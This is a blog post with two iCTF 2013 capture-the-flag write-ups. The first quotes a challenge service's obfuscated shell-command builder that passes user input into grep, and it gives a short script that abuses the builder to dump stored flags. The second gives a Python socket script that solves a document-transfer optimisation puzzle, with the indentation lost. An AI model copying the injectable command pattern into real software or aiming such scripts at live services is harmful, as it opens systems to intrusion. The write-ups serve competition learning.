Tuesday, December 10, 2013

iCTF 2013 Fall - Temperature

This was the first problem we tackled at the start of the competition. Talking to the server, we were given two options: Look up a temperature or add a temperature recording. After messing with the inputs for a little, we decided to take a look at the code.

We received the source code in a .deb package, which we unpacked using 7zip. Looking through the files we discovered a Python file named, of course, "temperature". We then began to look through the code and found a series of replace commands.
def build_command():
   fn = "satan"
   fn = fn.replace("s","r")
   fn = fn.replace("a","e")
   fn = fn.replace("t","v")
   fn = fn.replace("s","r")
   fn = fn.replace("n","n")
   fn = fn[::-1]
   fn += '\x67'
   fn += '\x75'
   fn += '\x65'
   fn += '\x73'
   fn += '\x73'
   cn = "dog"
   cn = cn.replace("d","c")
   cn = cn.replace("g","t")
   cn = cn.replace("o","a")
   cn2 = "\x67\x72\x65\x70"
   cn3 = "\x61\x77\x6B"
   command = " ".join((cn,fn,"|",cn2,"%s","|",cn2,"%s","|",cn3,"'{print $3}'"))
   return command


Which we quickly realized allows anything to be put into the command. We decided to see what could be found by sending "no" to the inputs for the lookup command
By sending "no" to both inputs, we were able to get a list of flags, indicated by "FLG" at the beginning of each flag." restricted the output to just the third column,  Our final script is below:
def get_awesomeness(s, flag_id):
    s.recv(1024)
    s.send("10")
    s.recv(1024)
    s.send("no")
    s.recv(1024)
    s.send(flag_id)
    flag = s.recv(1024).strip()
    return flag

Monday, December 9, 2013

iCTF 2013 Fall - TattleTale

This problem proved to be quite an interesting optimization problem. To solve this challenge, you needed to open three network connection to the service running on port 13007, and have each of the clients connect to the same room. If you '/msg' E.Snowden, he asked for you and your coworkers to get the highest amount of secret points that could be exfiltrated from the network. Sending documents to him cost bandwidth, but you could send them to your coworkers without affecting your bandwidth. Some sample text is:

list -- | FoxAcid.ppt 2612KB 34
list -- | FoxAcid.docx 809KB 23
list -- | FoxAcid.doc 2988KB 68
list -- | BULLRUN.ppt 255KB 76
list -- | BULLRUN.docx 546KB 40
list -- | BULLRUN.doc 524KB 29
list -- | LOVEINT.ppt 699KB 45
list -- | LOVEINT.docx 1545KB 59
list -- | LOVEINT.doc 2146KB 39
list -- | QuantumCookie.ppt 2079KB 66
list -- | QuantumCookie.docx 896KB 88
list -- | QuantumCookie.doc 604KB 55
list -- | G20.ppt 203KB 97
list -- | G20.docx 1691KB 21
list -- | G20.doc 1758KB 39

In order to accomplish this task, the first thing was getting each of the agents to list their documents and keep track of who had what. Agents One and Two would send each document they had to agent Zero. Agent Zero then sent documents in the order of the ratio of privacy value gained vs. the size of the file. After sending as many files as agent Zero was capable, he transferred the rest to agent One. Agent One followed suit before passing the rest to agent Two. The algorithm was too slow at first, so most of the recv's were cut out and pexpect was used to gain the final answer from E.Snowden. The 140 lines of code that solved the challenge are as follows (exploit call being at the bottom).
from __future__ import division
import socket
from time import sleep
from operator import itemgetter
import pexpect, fdpexpect
class Exploit():
def result(self):
return {'FLAG' : self.flag }
def groupRecv(self, s1, s2, s3):
sleep(.1)
s1.recv(4096)
sleep(.1)
s2.recv(4096)
sleep(.1)
s3.recv(4096)
def groupSend(self, s1, s2, s3, command):
sleep(.05)
s1.sendall(command + "\n")
sleep(.05)
s2.sendall(command + "\n")
sleep(.05)
s3.sendall(command + "\n")
def gatherData(self, s1, s2, s3, data, bandwidth):
soList = [s1, s2, s3]
for socket in xrange(len(soList)):
sleep(.1)
block = soList[socket].recv(4096)
block = block.split("\n")
for line in xrange(len(block)):
block[line] =block[line].split()
agentData = []
for line in xrange(len(block)-1):
if(line == 0):
bandwidth.append(block[0][5])
if(line > 1):
agentData.append(int(socket))
agentData.append(block[line][3])
agentData.append(block[line][4].rstrip("KB"))
agentData.append(int(block[line][5])/int(block[line][4].rstrip("KB")))
agentData.append(block[line][5])
if(agentData != []):
data.append(agentData)
agentData = []
def transferToZero(self, s0, s1, s2, data):
for item in data:
sleep(.06)
if(item[0]==1):
s1.sendall("/send Agent0 " + item[1]+"\n")
if(item[0]==2):
s2.sendall("/send Agent0 " + item[1]+"\n")
def transferToOne(self, s0, s1, s2, data):
for item in data:
sleep(.06)
s0.sendall("/send Agent1 " + item[1]+"\n")
def transferToTwo(self, s0, s1, s2, data):
for item in data:
sleep(.06)
s1.sendall("/send Agent2 " + item[1]+"\n")
def sendSnowden(self, s, data, bandwidth):
rem = []
for item,index in zip(data, xrange(len(data))):
if(int(item[2])<int(bandwidth)):
sleep(.04)
s.sendall("/send E.Snowden " + item[1] + "\n")
bandwidth = int(bandwidth) - int(item[2])
rem.append(item)
else:
pass
for each in rem:
data.remove(each)
sleep(.01)
return data
def runThis(self, ip, port, flag_id):
data = []
bandwidth = []
print '[+] Connecting Sockets'
s1 = socket.socket()
s1.connect((ip, port))
s2 = socket.socket()
s2.connect((ip, port))
s3 = socket.socket()
s3.connect((ip, port))
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "1")
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, flag_id)
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "/msg E.Snowden hello")
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "/list")
self.gatherData(s1, s2, s3, data, bandwidth)
print '[+] Sorting data'
data.sort(key=itemgetter(3), reverse=True)
print '[+] Transferring to 1'
self.transferToZero(s1, s2, s3, data)
print '[+] Transferring to Snowden from 1'
data = self.sendSnowden(s1, data, bandwidth[0])
print '[+] Transferring to 2'
self.transferToOne(s1, s2, s3, data)
print '[+] Transferring to Snowden from 2'
data = self.sendSnowden(s2, data, bandwidth[1])
print '[+] Transferring to 3'
self.transferToTwo(s1, s2, s3, data)
print '[+] Transferring to Snowden from 3'
data = self.sendSnowden(s3, data, bandwidth[2])
self.groupSend(s1, s2, s3, "/msg E.Snowden done")
p3 = fdpexpect.fdspawn(s3)
p3.expect("FLAG: ")
p3.expect("\n")
output = p3.before.strip()
print output
return output

def execute(self, ip, port, flag_id):
self.flag = self.runThis(ip, port, flag_id)

If you have any questions or comments, please let me know!

--Imp3rial